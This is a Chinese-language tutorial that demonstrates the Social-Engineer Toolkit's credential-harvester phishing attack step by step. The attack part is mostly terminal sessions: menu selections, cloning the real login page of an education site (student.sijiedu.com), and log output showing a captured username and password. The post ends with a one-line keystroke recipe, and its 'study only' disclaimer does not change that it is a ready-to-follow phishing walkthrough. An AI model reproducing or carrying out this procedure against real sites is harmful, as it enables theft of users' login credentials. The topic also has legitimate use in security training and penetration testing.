社工利器--setoolkit之钓鱼攻击

该文章仅供参考学习，切勿用于非法用途

简介

社会工程学（Social Engineering）认为人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金，最终导致数据泄露的原因，往往却是发生在人本身。你们可能永远都想象不到，对于黑客们来说，通过一个用户名、一串数字、一串英文代码，社会工程师就可以通过这么几条的线索，通过社工攻击手段，加以筛选、整理，就能把你的所有个人情况信息、家庭状况、兴趣爱好、婚姻状况、你在网上留下的一切痕迹等个人信息全部掌握得一清二楚。虽然这个可能是最不起眼，而且还是最麻烦的方法。一种无需依托任何黑客软件，更注重研究人性弱点的黑客手法正在兴起，这就是社会工程学黑客技术。

接下来演示如何钓鱼

1.在终端输入setoolkit，下方1-6选选项为
(1) 社会工程攻击
(2) 渗透测试（快速通道）
(3) 第三方模块
(4) 更新社会工程师工具包
(5) 更新集配置
(6) 帮助，积分，关于

┌──(root💀kali)-[~]
└─# setoolkit 
         .M"""bgd `7MM"""YMM MMP""MM""YMM
        ,MI    "Y   MM    `7 P'   MM   `7
        `MMb.       MM   d        MM
          `YMMNq.   MMmmMM        MM
        .     `MM   MM   Y  ,     MM
        Mb     dM   MM     ,M     MM
        P"Ybmmd"  .JMMmmmmMMM   .JMML.

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 8.0.3
                    Codename: 'Maverick'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

   The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!
Process Process-2:
........
    raise URLError(err)
urllib.error.URLError: <urlopen error [Errno 111] Connection refused>
 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 

2.上图六个选项中，我们都了解意思了，set>这里输入1，回车会得到下图，下图有10个选项，意思为
1）鱼叉式网络钓鱼攻击载体
2）网站攻击向量
3）传染源
4）创建负载和侦听器
5）群发邮件攻击
6）基于Arduino的攻击向量
7）无线接入点攻击向量
8）qrcode生成器攻击向量
9）powershell攻击向量
10）第三方模块

          !\_________________________/!\
          !!                         !! \
          !! Social-Engineer Toolkit !!  \
          !!                         !!  !
          !!          Free           !!  !
          !!                         !!  !
          !!          #hugs          !!  !
          !!                         !!  !
          !!      By: TrustedSec     !!  /
          !!_________________________!! /
          !/_________________________\!/
             __\_________________/__/!_
            !_______________________!/
          ________________________
         /oooo  oooo  oooo  oooo /!
        /ooooooooooooooooooooooo/ /
       /ooooooooooooooooooooooo/ /
      /C=_____________________/_/

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 8.0.3
                    Codename: 'Maverick'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).                             
         The one stop shop for all of your SE needs.                              
                                                                                  
   The Social-Engineer Toolkit is a product of TrustedSec.                        
                                                                                  
           Visit: https://www.trustedsec.com                                      
                                                                                  
   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!                 
                                                                                  
                                                                                  
Process Process-2:
........
    raise URLError(err)
urllib.error.URLError: <urlopen error [Errno 111] Connection refused>
 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 

3.进入选项1 的社会工程学攻击模块后，在该模块的>set这里输入2，回车，会得到如下图，选项意思为
1） javaapplet攻击方法
2） Metasploit浏览器利用方法
3） 凭证收割机攻击方法
4） 禁忌攻击法
5） 网络劫持攻击方法
6） 多攻击Web方法
7） HTA攻击方法

set> 2

The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) HTA Attack Method

  99) Return to Main Menu

set:webattack>

4.进入选项2后，在set:webattack>这里输入3，将会得到如下结果，意思为
1）自带模板攻击
2）克隆网站
3）导入项目

set:webattack>3

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>

5.在set:webattack>这里输入2，回车，会得到如下结果，在Harvester/Tabnabbing [192.168.70.128]:处直接回车即可

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

-------------------------------------------------------------------------------
--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this 
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really 
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.70.128]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:

6.在Enter the url to clone:这里输入这里需要克隆的链接回车，然后在浏览器中输入kali本机的ip地址（本实验用四季教育为对象，对于四季教育学习管理中心并无恶意，只是作为学习对象），在这里输入的账号密码都会被监听到

set:webattack> Enter the url to clone:http://student.sijiedu.com/index.php?m=login

[*] Cloning the website: http://student.sijiedu.com/index.php?m=login             
[*] This could take a little bit...                                               

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.                            
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80                                    
[*] Information will be displayed to you as it arrives below:                     
192.168.70.1 - - [04/Aug/2021 11:27:56] "GET / HTTP/1.1" 200 -
192.168.70.1 - - [04/Aug/2021 11:27:59] "GET /favicon.ico HTTP/1.1" 404 -
[*] WE GOT A HIT! Printing the output:
PARAM:                                                                            
PARAM: name=12345678987                                                           
POSSIBLE PASSWORD FIELD FOUND: pwd=12345678                                       
PARAM: rem=1                                                                      
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.                     
                                                                                                                                                                                                                                                                       
192.168.70.1 - - [04/Aug/2021 11:28:30] "POST /includes/yzlogin.php HTTP/1.1" 302 -
[*] WE GOT A HIT! Printing the output:
PARAM:                                                                            
PARAM: name=12345678987                                                           
POSSIBLE PASSWORD FIELD FOUND: pwd=12345678                                       
PARAM: rem=1                                                                      
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.                                                                                                                                                                                                                                                                                                                                                                         192.168.73.1 - - [04/Aug/2021 11:28:34] "POST /includes/yzlogin.php HTTP/1.1" 302 -
[*] WE GOT A HIT! Printing the output:
PARAM:                                                                            
PARAM: name=12345678987                                                           
POSSIBLE PASSWORD FIELD FOUND: pwd=12345678                                       
PARAM: rem=1                                                                      
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.                     
                                                                                  
                                                                                  
192.168.70.1 - - [04/Aug/2021 11:28:38] "POST /includes/yzlogin.php HTTP/1.1" 302 -

这里能看到name=12345678987,pwd=12345678，钓鱼成功。

总结：如果懒得看这么多字，就简单点说：setoolkit后1,2,3,2再直接回车再输入克隆地址再浏览器访问本机ip